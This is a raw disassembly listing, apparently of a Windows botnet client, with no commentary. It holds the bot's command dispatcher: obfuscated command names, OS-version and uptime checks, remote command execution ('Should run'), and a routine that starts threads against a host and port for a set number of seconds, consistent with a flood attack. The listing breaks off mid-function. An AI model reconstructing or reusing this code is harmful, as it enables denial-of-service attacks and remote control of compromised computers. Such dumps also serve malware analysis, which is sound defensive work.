loc_41325A: ; CODE XREF: sub_40A9FE+8838j cmp [ebp+arg_18], 0 jz short loc_413277 loc_413260: ; CODE XREF: sub_40A9FE+883Dj push offset aPtami1_agv ; "PTaMI1/.aGV/" push offset aSTryingToGetEx ; "%s Trying to get external IP." push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 10h loc_413277: ; CODE XREF: sub_40A9FE+8842j ; sub_40A9FE+8860j mov ecx, [ebp+arg_10] call sub_41DB58 mov ecx, [ebp+arg_10] push eax call sub_41CF25 push 1388h push eax mov dword ptr [ebp+var_C+4], eax call dword_43707C ; WaitForSingleObject push dword ptr [ebp+var_C+4] call dword_437044 ; CloseHandle loc_4132A0: ; CODE XREF: sub_40A9FE+8831j cmp [ebp+arg_C], 0 jz short loc_413304 push offset dword_43D664 push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4132DF push offset a? ; "?" push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4132DF push offset dword_457C58 push dword ptr [ebx+8] call edi ; dword_437178 test eax, eax jz short loc_413304 jmp loc_414995 ; --------------------------------------------------------------------------- loc_4132DF: ; CODE XREF: sub_40A9FE+88B9j ; sub_40A9FE+88CCj push offset dword_457C58 call sub_42AF20 pop ecx push eax push dword ptr [ebx+8] call sub_42AF20 pop ecx push eax call sub_427B4E pop ecx test eax, eax pop ecx jz loc_414995 loc_413304: ; CODE XREF: sub_40A9FE+88A6j ; sub_40A9FE+88DAj cmp [ebp+arg_68], 0 jz loc_413A99 push offset dword_43D664 push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_41333E push offset a? ; "?" push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_41333E push offset dword_457C58 jmp loc_413A42 ; --------------------------------------------------------------------------- loc_41333E: ; CODE XREF: sub_40A9FE+8921j ; sub_40A9FE+8934j push offset dword_457C58 jmp loc_4131EA ; --------------------------------------------------------------------------- loc_413348: ; CODE XREF: sub_40A9FE+880Ej push dword ptr [ebx+4] push offset aS3dyJzo6r ; "s3dY//JZo6r/" call edi ; dword_437178 test eax, eax jnz short loc_413381 cmp [ebp+arg_C], eax jz short loc_41336D push offset a3c9 ; "]&3c9" push dword ptr [ebx+8] call edi ; dword_437178 test eax, eax jnz loc_414995 loc_41336D: ; CODE XREF: sub_40A9FE+895Bj cmp [ebp+arg_68], 0 jz loc_413A99 push offset a3c9 ; "]&3c9" jmp loc_413A42 ; --------------------------------------------------------------------------- loc_413381: ; CODE XREF: sub_40A9FE+8956j push dword ptr [ebx+4] push offset aUwher1dagd80 ; "UWher1DAGD80" call edi ; dword_437178 test eax, eax jnz short loc_4133BA cmp [ebp+arg_C], eax jz short loc_4133A6 push offset dword_4439BC push dword ptr [ebx+8] call edi ; dword_437178 test eax, eax jnz loc_414995 loc_4133A6: ; CODE XREF: sub_40A9FE+8994j cmp [ebp+arg_68], 0 jz loc_413A99 push offset dword_4439BC jmp loc_413A42 ; --------------------------------------------------------------------------- loc_4133BA: ; CODE XREF: sub_40A9FE+898Fj push dword ptr [ebx+4] push offset aPnb_aBfzu60 ; "pNb.a/Bfzu60" call edi ; dword_437178 test eax, eax jnz short loc_4133D0 call dword_437188 ; GetTickCount jmp short loc_41342F ; --------------------------------------------------------------------------- loc_4133D0: ; CODE XREF: sub_40A9FE+89C8j push dword ptr [ebx+4] push offset aZu2s6_o7_yt ; "Zu2s6.O7.yt/" call edi ; dword_437178 test eax, eax jnz short loc_41341C call dword_437188 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov edi, 3E8h push 3Ch mov ecx, eax mov eax, dword_457F60 div edi xor edx, edx sub ecx, eax mov eax, ecx mov ecx, 15180h div ecx mov ecx, 0E10h mov eax, edx xor edx, edx div ecx pop ecx mov eax, edx jmp short loc_413434 ; --------------------------------------------------------------------------- loc_41341C: ; CODE XREF: sub_40A9FE+89DEj push dword ptr [ebx+4] push offset a4hftz6holr ; "4hftZ/6HOlR/" call edi ; dword_437178 test eax, eax jnz short loc_413471 call sub_41BCED loc_41342F: ; CODE XREF: sub_40A9FE+89D0j mov ecx, 5265C00h loc_413434: ; CODE XREF: sub_40A9FE+8A1Cj xor edx, edx div ecx cmp [ebp+arg_C], 0 mov edi, eax jz short loc_413451 push dword ptr [ebx+8] call sub_42A100 cmp edi, eax pop ecx jb loc_414995 loc_413451: ; CODE XREF: sub_40A9FE+8A40j cmp [ebp+arg_68], 0 jz loc_413A99 push dword ptr [ebx+8] call sub_42A100 cmp edi, eax pop ecx jbe loc_413A99 jmp loc_414995 ; --------------------------------------------------------------------------- loc_413471: ; CODE XREF: sub_40A9FE+8A2Aj push dword ptr [ebx+4] push offset aYqrdp_9rf4u0 ; "yqrdP.9rF4U0" call edi ; dword_437178 test eax, eax jnz short loc_4134B7 cmp [ebp+arg_C], eax mov [ebp+arg_8], 2 jz short loc_41349E push offset dword_457CF8 call sub_41E4C1 test eax, eax pop ecx jz loc_414995 loc_41349E: ; CODE XREF: sub_40A9FE+8A8Bj cmp [ebp+arg_68], 0 jz loc_413A99 push offset dword_457CF8 call sub_41E4C1 jmp loc_413A5E ; --------------------------------------------------------------------------- loc_4134B7: ; CODE XREF: sub_40A9FE+8A7Fj push dword ptr [ebx+4] push offset a1uyis15kh_n1 ; "1UyIs15KH.n1" call edi ; dword_437178 test eax, eax jnz short loc_4134FD xor edi, edi mov [ebp+arg_8], 2 cmp dword_457050, edi jnz loc_414995 push edi push edi lea eax, [ebp+var_3C] push edi push eax call dword_456DB4 ; InternetGetConnectedStateExA test [ebp+var_3C], 1 jz short loc_4134F5 cmp [ebp+arg_68], edi jmp loc_413A61 ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: sub_40A9FE+8AEDj cmp [ebp+arg_C], edi jmp loc_413A61 ; --------------------------------------------------------------------------- loc_4134FD: ; CODE XREF: sub_40A9FE+8AC5j push dword ptr [ebx+4] push offset a9ljbh07crkd__0 ; "9lJBH07crkD." call edi ; dword_437178 test eax, eax jnz loc_4135FB cmp [ebp+arg_C], eax jz short loc_41357E push dword ptr [ebx+8] push offset aD0ron_ctdg0_ ; "D0roN.CTDg0." call edi ; dword_437178 test eax, eax jnz short loc_41357E push 8 call sub_423800 test eax, eax pop ecx jz loc_414995 push dword ptr [ebx+8] push offset aFr8ri0f9nfz_ ; "fr8ri0f9NfZ." call edi ; dword_437178 test eax, eax jnz short loc_41357E push 0Dh call sub_423800 test eax, eax pop ecx jz loc_414995 push dword ptr [ebx+8] push offset aWbzcx0Dknt_ ; "wbZcx0/Dknt." call edi ; dword_437178 test eax, eax jnz short loc_41357E push 8 call sub_423800 test eax, eax pop ecx jnz loc_414995 push 0Dh call sub_423800 test eax, eax pop ecx jnz loc_414995 loc_41357E: ; CODE XREF: sub_40A9FE+8B14j ; sub_40A9FE+8B22j ... cmp [ebp+arg_68], 0 jz loc_413A99 push dword ptr [ebx+8] push offset aD0ron_ctdg0_ ; "D0roN.CTDg0." call edi ; dword_437178 test eax, eax jnz loc_413A99 push 8 call sub_423800 test eax, eax pop ecx jnz loc_414995 push dword ptr [ebx+8] push offset aFr8ri0f9nfz_ ; "fr8ri0f9NfZ." call edi ; dword_437178 test eax, eax jnz loc_413A99 push 0Dh call sub_423800 test eax, eax pop ecx jnz loc_414995 push dword ptr [ebx+8] push offset aWbzcx0Dknt_ ; "wbZcx0/Dknt." call edi ; dword_437178 test eax, eax jnz loc_413A99 push 8 call sub_423800 test eax, eax pop ecx jnz loc_413A99 push 0Dh call sub_423800 pop ecx jmp loc_413A47 ; --------------------------------------------------------------------------- loc_4135FB: ; CODE XREF: sub_40A9FE+8B0Bj push dword ptr [ebx+4] push offset aNyjsr1cv5ch0 ; "NyJsR1cV5CH0" call edi ; dword_437178 test eax, eax jnz loc_4138FB lea eax, [ebp+var_208] mov [ebp+var_208], 94h push eax call dword_437050 ; GetVersionExA test eax, eax jz loc_413A99 cmp [ebp+arg_C], 0 jz loc_413796 push dword ptr [ebx+8] push offset a95 ; "95" call edi ; dword_437178 test eax, eax jnz short loc_413669 cmp [ebp+var_204], 4 jnz loc_414995 cmp [ebp+var_200], eax jnz loc_414995 cmp [ebp+var_1F8], 1 jmp loc_41376B ; --------------------------------------------------------------------------- loc_413669: ; CODE XREF: sub_40A9FE+8C44j push dword ptr [ebx+8] push offset aNt ; "nt" call edi ; dword_437178 test eax, eax jnz short loc_41369C cmp [ebp+var_204], 4 jnz loc_414995 cmp [ebp+var_200], eax jnz loc_414995 cmp [ebp+var_1F8], 2 jmp loc_41376B ; --------------------------------------------------------------------------- loc_41369C: ; CODE XREF: sub_40A9FE+8C77j push dword ptr [ebx+8] push offset a98 ; "98" call edi ; dword_437178 test eax, eax jnz short loc_4136C3 cmp [ebp+var_204], 4 jnz loc_414995 cmp [ebp+var_200], 0Ah jmp loc_41376B ; --------------------------------------------------------------------------- loc_4136C3: ; CODE XREF: sub_40A9FE+8CAAj push dword ptr [ebx+8] push offset aMe ; "me" call edi ; dword_437178 test eax, eax jnz short loc_4136EA cmp [ebp+var_204], 4 jnz loc_414995 cmp [ebp+var_200], 5Ah jmp loc_41376B ; --------------------------------------------------------------------------- loc_4136EA: ; CODE XREF: sub_40A9FE+8CD1j push dword ptr [ebx+8] push offset a2k_0 ; "2k" call edi ; dword_437178 test eax, eax jnz short loc_413701 cmp [ebp+var_204], 5 jmp short loc_41375E ; --------------------------------------------------------------------------- loc_413701: ; CODE XREF: sub_40A9FE+8CF8j push dword ptr [ebx+8] push offset aXp_0 ; "xp" call edi ; dword_437178 test eax, eax jnz short loc_413725 cmp [ebp+var_204], 5 jnz loc_414995 cmp [ebp+var_200], 1 jmp short loc_41376B ; --------------------------------------------------------------------------- loc_413725: ; CODE XREF: sub_40A9FE+8D0Fj push dword ptr [ebx+8] push offset a2k3 ; "2k3" call edi ; dword_437178 test eax, eax jnz short loc_413749 cmp [ebp+var_204], 5 jnz loc_414995 cmp [ebp+var_200], 2 jmp short loc_41376B ; --------------------------------------------------------------------------- loc_413749: ; CODE XREF: sub_40A9FE+8D33j push dword ptr [ebx+8] push offset aVista ; "vista" call edi ; dword_437178 test eax, eax jnz short loc_413772 cmp [ebp+var_204], 6 loc_41375E: ; CODE XREF: sub_40A9FE+8D01j jnz loc_414995 cmp [ebp+var_200], 0 loc_41376B: ; CODE XREF: sub_40A9FE+8C66j ; sub_40A9FE+8C99j ... jz short loc_413796 jmp loc_414995 ; --------------------------------------------------------------------------- loc_413772: ; CODE XREF: sub_40A9FE+8D57j push dword ptr [ebx+8] push offset a7 ; "7" call edi ; dword_437178 test eax, eax jnz short loc_413796 cmp [ebp+var_204], 6 jnz short loc_413796 inc eax cmp [ebp+var_200], eax jz loc_414998 loc_413796: ; CODE XREF: sub_40A9FE+8C32j ; sub_40A9FE:loc_41376Bj ... cmp [ebp+arg_68], 0 jz loc_413A99 push dword ptr [ebx+8] push offset a95 ; "95" call edi ; dword_437178 test eax, eax jnz short loc_4137D3 cmp [ebp+var_204], 4 jnz loc_413A99 cmp [ebp+var_200], eax jnz loc_413A99 cmp [ebp+var_1F8], 1 jmp loc_413A49 ; --------------------------------------------------------------------------- loc_4137D3: ; CODE XREF: sub_40A9FE+8DAEj push dword ptr [ebx+8] push offset aNt ; "nt" call edi ; dword_437178 test eax, eax jnz short loc_413806 cmp [ebp+var_204], 4 jnz loc_413A99 cmp [ebp+var_200], eax jnz loc_413A99 cmp [ebp+var_1F8], 2 jmp loc_413A49 ; --------------------------------------------------------------------------- loc_413806: ; CODE XREF: sub_40A9FE+8DE1j push dword ptr [ebx+8] push offset a98 ; "98" call edi ; dword_437178 test eax, eax jnz short loc_41382D cmp [ebp+var_204], 4 jnz loc_413A99 cmp [ebp+var_200], 0Ah jmp loc_413A49 ; --------------------------------------------------------------------------- loc_41382D: ; CODE XREF: sub_40A9FE+8E14j push dword ptr [ebx+8] push offset aMe ; "me" call edi ; dword_437178 test eax, eax jnz short loc_413854 cmp [ebp+var_204], 4 jnz loc_413A99 cmp [ebp+var_200], 5Ah jmp loc_413A49 ; --------------------------------------------------------------------------- loc_413854: ; CODE XREF: sub_40A9FE+8E3Bj push dword ptr [ebx+8] push offset a2k_0 ; "2k" call edi ; dword_437178 test eax, eax jnz short loc_41387B cmp [ebp+var_204], 5 loc_413869: ; CODE XREF: sub_40A9FE+8EE0j jnz loc_413A99 cmp [ebp+var_200], 0 jmp loc_413A49 ; --------------------------------------------------------------------------- loc_41387B: ; CODE XREF: sub_40A9FE+8E62j push dword ptr [ebx+8] push offset aXp_0 ; "xp" call edi ; dword_437178 test eax, eax jnz short loc_4138A2 cmp [ebp+var_204], 5 loc_413890: ; CODE XREF: sub_40A9FE+8EFBj jnz loc_413A99 cmp [ebp+var_200], 1 jmp loc_413A49 ; --------------------------------------------------------------------------- loc_4138A2: ; CODE XREF: sub_40A9FE+8E89j push dword ptr [ebx+8] push offset a2k3 ; "2k3" call edi ; dword_437178 test eax, eax jnz short loc_4138C9 cmp [ebp+var_204], 5 jnz loc_413A99 cmp [ebp+var_200], 2 jmp loc_413A49 ; --------------------------------------------------------------------------- loc_4138C9: ; CODE XREF: sub_40A9FE+8EB0j push dword ptr [ebx+8] push offset aVista ; "vista" call edi ; dword_437178 test eax, eax jnz short loc_4138E0 cmp [ebp+var_204], 6 jmp short loc_413869 ; --------------------------------------------------------------------------- loc_4138E0: ; CODE XREF: sub_40A9FE+8ED7j push dword ptr [ebx+8] push offset a7 ; "7" call edi ; dword_437178 test eax, eax jnz loc_413A99 cmp [ebp+var_204], 6 jmp short loc_413890 ; --------------------------------------------------------------------------- loc_4138FB: ; CODE XREF: sub_40A9FE+8C09j push dword ptr [ebx+4] push offset aI6sd4ctzn0 ; "/I6sD/4CTzn0" call edi ; dword_437178 test eax, eax jnz loc_4139A6 cmp [ebp+arg_C], eax jz short loc_413962 push offset dword_43D664 push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_41394B push offset a? ; "?" push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_41394B push offset dword_457CF8 push dword ptr [ebx+8] call edi ; dword_437178 test eax, eax jz short loc_413962 jmp loc_414995 ; --------------------------------------------------------------------------- loc_41394B: ; CODE XREF: sub_40A9FE+8F25j ; sub_40A9FE+8F38j push offset dword_457CF8 push dword ptr [ebx+8] call sub_427B4E pop ecx test eax, eax pop ecx jz loc_414995 loc_413962: ; CODE XREF: sub_40A9FE+8F12j ; sub_40A9FE+8F46j cmp [ebp+arg_68], 0 jz loc_413A99 push offset dword_43D664 push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_41399C push offset a? ; "?" push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_41399C push offset dword_457CF8 jmp loc_413A42 ; --------------------------------------------------------------------------- loc_41399C: ; CODE XREF: sub_40A9FE+8F7Fj ; sub_40A9FE+8F92j push offset dword_457CF8 jmp loc_413A55 ; --------------------------------------------------------------------------- loc_4139A6: ; CODE XREF: sub_40A9FE+8F09j push dword ptr [ebx+4] push offset aWrlthN3uh_1 ; "WRlth/n3Uh.1" call edi ; dword_437178 test eax, eax jnz loc_413A68 cmp [ebp+arg_C], eax jz short loc_413A0D push offset dword_43D664 push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4139F6 push offset a? ; "?" push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4139F6 push offset dword_457C40 push dword ptr [ebx+8] call edi ; dword_437178 test eax, eax jz short loc_413A0D jmp loc_414995 ; --------------------------------------------------------------------------- loc_4139F6: ; CODE XREF: sub_40A9FE+8FD0j ; sub_40A9FE+8FE3j push offset dword_457C40 push dword ptr [ebx+8] call sub_427B4E pop ecx test eax, eax pop ecx jz loc_414995 loc_413A0D: ; CODE XREF: sub_40A9FE+8FBDj ; sub_40A9FE+8FF1j cmp [ebp+arg_68], 0 jz loc_413A99 push offset dword_43D664 push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_413A50 push offset a? ; "?" push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_413A50 push offset dword_457C40 loc_413A42: ; CODE XREF: sub_40A9FE+87DEj ; sub_40A9FE+893Bj ... push dword ptr [ebx+8] call edi ; dword_437178 loc_413A47: ; CODE XREF: sub_40A9FE+8BF8j test eax, eax loc_413A49: ; CODE XREF: sub_40A9FE+8DD0j ; sub_40A9FE+8E03j ... jnz short loc_413A99 jmp loc_414995 ; --------------------------------------------------------------------------- loc_413A50: ; CODE XREF: sub_40A9FE+902Aj ; sub_40A9FE+903Dj push offset dword_457C40 loc_413A55: ; CODE XREF: sub_40A9FE+8FA3j push dword ptr [ebx+8] loc_413A58: ; CODE XREF: sub_40A9FE+87FDj call sub_427B4E pop ecx loc_413A5E: ; CODE XREF: sub_40A9FE+8AB4j pop ecx loc_413A5F: ; CODE XREF: sub_40A9FE+9099j test eax, eax loc_413A61: ; CODE XREF: sub_40A9FE+8AF2j ; sub_40A9FE+8AFAj jz short loc_413A99 jmp loc_414995 ; --------------------------------------------------------------------------- loc_413A68: ; CODE XREF: sub_40A9FE+8FB4j push dword ptr [ebx+4] push offset aYqjsn0wtutn1 ; "yQJsn0wtUtn1" call edi ; dword_437178 test eax, eax jnz loc_413C4C cmp [ebp+arg_C], eax mov eax, dword_456DA8 mov [ebp+arg_8], 2 jz short loc_413A93 test eax, eax jz loc_414995 loc_413A93: ; CODE XREF: sub_40A9FE+908Bj cmp [ebp+arg_68], 0 jnz short loc_413A5F loc_413A99: ; CODE XREF: sub_40A9FE+87A9j ; sub_40A9FE+890Aj ... mov edi, [ebp+arg_8] mov eax, [ebx+edi*4] test eax, eax jnz short loc_413AE1 cmp [ebp+arg_14], eax mov edi, offset aSS_1 ; "%s %s" mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz short loc_413ACC cmp [ebp+arg_18], eax jnz short loc_413AD6 push ebx push offset aPtami1_agv ; "PTaMI1/.aGV/" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_413ACC: ; CODE XREF: sub_40A9FE+90B2j cmp [ebp+arg_18], 0 jz loc_414995 loc_413AD6: ; CODE XREF: sub_40A9FE+90B7j push ebx push offset aPtami1_agv ; "PTaMI1/.aGV/" jmp loc_40C891 ; --------------------------------------------------------------------------- loc_413AE1: ; CODE XREF: sub_40A9FE+90A3j push eax lea eax, [ebp+var_C130] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 0Ch jmp short loc_413B27 ; --------------------------------------------------------------------------- loc_413AF8: ; CODE XREF: sub_40A9FE+912Dj mov eax, [ebx+edi*4] test eax, eax jz short loc_413B27 push eax lea eax, [ebp+var_6DBB0] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_6DBB0] push eax lea eax, [ebp+var_C130] push eax call sub_42A5E0 add esp, 14h loc_413B27: ; CODE XREF: sub_40A9FE+90F8j ; sub_40A9FE+90FFj inc edi cmp edi, [ebp+arg_4] jl short loc_413AF8 mov al, [ebp+var_C130] cmp al, byte_4439A0 jz short loc_413B74 cmp [ebp+arg_14], 0 mov ebx, offset aSFailedToParse ; "%s Failed to parse command." jnz short loc_413B60 cmp [ebp+arg_18], 0 jnz short loc_413B6A push offset aPtami1_agv ; "PTaMI1/.aGV/" push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_413B60: ; CODE XREF: sub_40A9FE+9146j cmp [ebp+arg_18], 0 jz loc_414995 loc_413B6A: ; CODE XREF: sub_40A9FE+914Cj push offset aPtami1_agv ; "PTaMI1/.aGV/" jmp loc_40D2C8 ; --------------------------------------------------------------------------- loc_413B74: ; CODE XREF: sub_40A9FE+913Bj lea eax, [ebp+var_C130] xor edi, edi push eax call sub_4293A0 test eax, eax pop ecx jbe short loc_413BE8 loc_413B87: ; CODE XREF: sub_40A9FE+91E8j lea eax, [ebp+edi+var_C130] cmp byte ptr [eax], 5Fh jnz short loc_413BA0 cmp [ebp+edi+var_C131], 20h jnz short loc_413BA0 mov byte ptr [eax], 2Dh loc_413BA0: ; CODE XREF: sub_40A9FE+9193j ; sub_40A9FE+919Dj cmp byte ptr [eax], 2Bh jnz short loc_413BB2 cmp [ebp+edi+var_C131], 20h jnz short loc_413BB2 mov byte ptr [eax], 5Fh loc_413BB2: ; CODE XREF: sub_40A9FE+91A5j ; sub_40A9FE+91AFj cmp byte ptr [eax], 5Eh jnz short loc_413BC4 cmp [ebp+edi+var_C131], 20h jnz short loc_413BC4 mov byte ptr [eax], 2Bh loc_413BC4: ; CODE XREF: sub_40A9FE+91B7j ; sub_40A9FE+91C1j cmp byte ptr [eax], 60h jnz short loc_413BD6 cmp [ebp+edi+var_C131], 20h jnz short loc_413BD6 mov byte ptr [eax], 5Eh loc_413BD6: ; CODE XREF: sub_40A9FE+91C9j ; sub_40A9FE+91D3j lea eax, [ebp+var_C130] inc edi push eax call sub_4293A0 cmp edi, eax pop ecx jb short loc_413B87 loc_413BE8: ; CODE XREF: sub_40A9FE+9187j xor ebx, ebx mov edi, offset aSShouldRunS_ ; "%s Should run: \"%s\"." cmp [ebp+arg_20], ebx jz short loc_413C14 cmp [ebp+arg_18], ebx jnz short loc_413C19 lea eax, [ebp+var_C130] push eax push offset aPtami1_agv ; "PTaMI1/.aGV/" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_413C14: ; CODE XREF: sub_40A9FE+91F4j cmp [ebp+arg_18], ebx jz short loc_413C33 loc_413C19: ; CODE XREF: sub_40A9FE+91F9j lea eax, [ebp+var_C130] push eax push offset aPtami1_agv ; "PTaMI1/.aGV/" push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 14h loc_413C33: ; CODE XREF: sub_40A9FE+9219j push ebx lea eax, [ebp+var_C130] push [ebp+arg_14] push [ebp+arg_10] push esi push eax call sub_40A935 jmp loc_41479B ; --------------------------------------------------------------------------- loc_413C4C: ; CODE XREF: sub_40A9FE+9076j xor eax, eax mov edi, offset aPtami1_agv ; "PTaMI1/.aGV/" cmp [ebp+arg_14], eax mov ebx, offset aSFailedToParse ; "%s Failed to parse command." jnz loc_40D2BD cmp [ebp+arg_18], eax jnz loc_40D2C7 cmp [ebp+arg_20], eax jz loc_414995 jmp loc_40D2AD ; --------------------------------------------------------------------------- loc_413C78: ; CODE XREF: sub_40A9FE+85FBj ; sub_40A9FE+8604j mov edi, offset aPtami1_agv ; "PTaMI1/.aGV/" jmp loc_41475B ; --------------------------------------------------------------------------- loc_413C82: ; CODE XREF: sub_40A9FE+6BC2j ; sub_40A9FE+6BD3j ... xor eax, eax cmp [ebx+4], eax jz loc_413E98 cmp [ebx+8], eax jz loc_413E98 cmp [ebx+0Ch], eax jz loc_413E98 cmp [ebx+10h], eax jz loc_413E98 push 0Dh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jle short loc_413CFC cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_413CE4 cmp [ebp+arg_18], 0 jnz short loc_413CEE push eax push ebx push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_413CE4: ; CODE XREF: sub_40A9FE+92C8j cmp [ebp+arg_18], 0 jz loc_414995 loc_413CEE: ; CODE XREF: sub_40A9FE+92CEj push [ebp+arg_C] push ebx loc_413CF2: ; CODE XREF: sub_40A9FE+9482j push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" jmp loc_41491C ; --------------------------------------------------------------------------- loc_413CFC: ; CODE XREF: sub_40A9FE+92B8j mov eax, [ebp+arg_14] mov [ebp+var_1D80], eax mov eax, [ebp+arg_18] mov [ebp+var_1D84], eax test eax, eax lea eax, [ebp+var_1E18] jnz short loc_413D1D push dword ptr [esi+0Ch] jmp short loc_413D1F ; --------------------------------------------------------------------------- loc_413D1D: ; CODE XREF: sub_40A9FE+9318j push dword ptr [esi] loc_413D1F: ; CODE XREF: sub_40A9FE+931Dj push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_1F1C], eax push dword ptr [ebx+4] lea eax, [ebp+var_1F18] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_1D94], eax push dword ptr [ebx+0Ch] call sub_42A100 mov [ebp+var_1D90], eax push dword ptr [ebx+10h] call sub_42A100 add esp, 18h cmp eax, 1 mov [ebp+var_1D8C], eax jge short loc_413D81 mov edi, offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" loc_413D77: ; CODE XREF: sub_40A9FE+6F4Aj ; sub_40A9FE+7476j ... mov ebx, offset aSNoDelay_ ; "%s No delay." jmp loc_40D2A1 ; --------------------------------------------------------------------------- loc_413D81: ; CODE XREF: sub_40A9FE+9372j push 7Fh lea eax, [ebp+var_1E98] push dword ptr [ebx] push eax call sub_429D10 xor eax, eax cmp [ebp+arg_60], eax setnz al mov [ebp+var_1D88], eax push dword ptr [ebx+0Ch] call sub_42A100 add esp, 10h push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" push offset aSSDForDSecs__0 ; "%s --> (%s:%d) for %d secs." push 0Dh call sub_4234A7 add esp, 18h mov [ebp+var_1D98], eax push dword ptr [ebx] push offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1" call edi ; dword_437178 test eax, eax jz short loc_413E0A push dword ptr [ebx] push offset a6x7zf1eztny_ ; "6x7zf1EztnY." call edi ; dword_437178 test eax, eax jz short loc_413E0A push dword ptr [ebx] push offset aFyflu0ji3xh_ ; "FyFlU0jI3XH." call edi ; dword_437178 test eax, eax jz short loc_413E0A push dword ptr [ebx] push offset a7otcu0fic6v0 ; "7otcU0FiC6V0" call edi ; dword_437178 test eax, eax jnz loc_414995 loc_413E0A: ; CODE XREF: sub_40A9FE+93DFj ; sub_40A9FE+93ECj ... lea eax, [ebp+arg_0] xor ebx, ebx push eax lea eax, [ebp+var_1F1C] push ebx push eax push offset sub_422E10 push ebx push ebx call dword_437180 ; CreateThread mov ecx, [ebp+var_1D98] mov edi, offset aSSD_ ; "%s %s (%d)." imul ecx, 2724h cmp eax, ebx mov ebx, dword_437170 mov dword_46D72C[ecx], eax jnz short loc_413E8D cmp [ebp+arg_14], 0 jnz short loc_413E6E cmp [ebp+arg_18], 0 jnz short loc_413E78 call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_413E6E: ; CODE XREF: sub_40A9FE+944Cj ; sub_40A9FE+9498j cmp [ebp+arg_18], 0 jz loc_414995 loc_413E78: ; CODE XREF: sub_40A9FE+9452j call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... jmp loc_413CF2 ; --------------------------------------------------------------------------- loc_413E85: ; CODE XREF: sub_40A9FE+9496j push 32h call dword_437190 ; Sleep loc_413E8D: ; CODE XREF: sub_40A9FE+9446j cmp [ebp+var_1D7C], 0 jz short loc_413E85 jmp short loc_413E6E ; --------------------------------------------------------------------------- loc_413E98: ; CODE XREF: sub_40A9FE+9289j ; sub_40A9FE+9292j ... mov edi, offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" jmp loc_41475B ; --------------------------------------------------------------------------- loc_413EA2: ; CODE XREF: sub_40A9FE+6435j ; sub_40A9FE+6446j ... xor eax, eax cmp [ebx+4], eax jz loc_414756 cmp [ebx+8], eax jz loc_414756 cmp [ebx+0Ch], eax jz loc_414756 push 8 call sub_423800 push dword ptr [ebx+4] mov [ebp+arg_C], eax call sub_42A100 add eax, [ebp+arg_C] pop ecx pop ecx cmp eax, 1C2h jle short loc_413F20 loc_413EDD: ; CODE XREF: sub_40A9FE+5EAEj xor ebx, ebx mov edi, offset aSSD_ ; "%s %s (%d)." cmp [ebp+arg_14], ebx jnz short loc_413F0A cmp [ebp+arg_18], ebx jnz short loc_413F13 push [ebp+arg_C] push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_413F0A: ; CODE XREF: sub_40A9FE+94E9j cmp [ebp+arg_18], ebx jz loc_414995 loc_413F13: ; CODE XREF: sub_40A9FE+94EEj push [ebp+arg_C] push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... jmp loc_410D53 ; --------------------------------------------------------------------------- loc_413F20: ; CODE XREF: sub_40A9FE+94DDj push dword ptr [ebx] xor eax, eax mov [ebp+var_4], eax mov [ebp+var_1C], eax push offset aSxytb1_eejq_ ; "SXYtb1.EEjQ." mov [ebp+var_28], eax mov dword ptr [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_18], eax 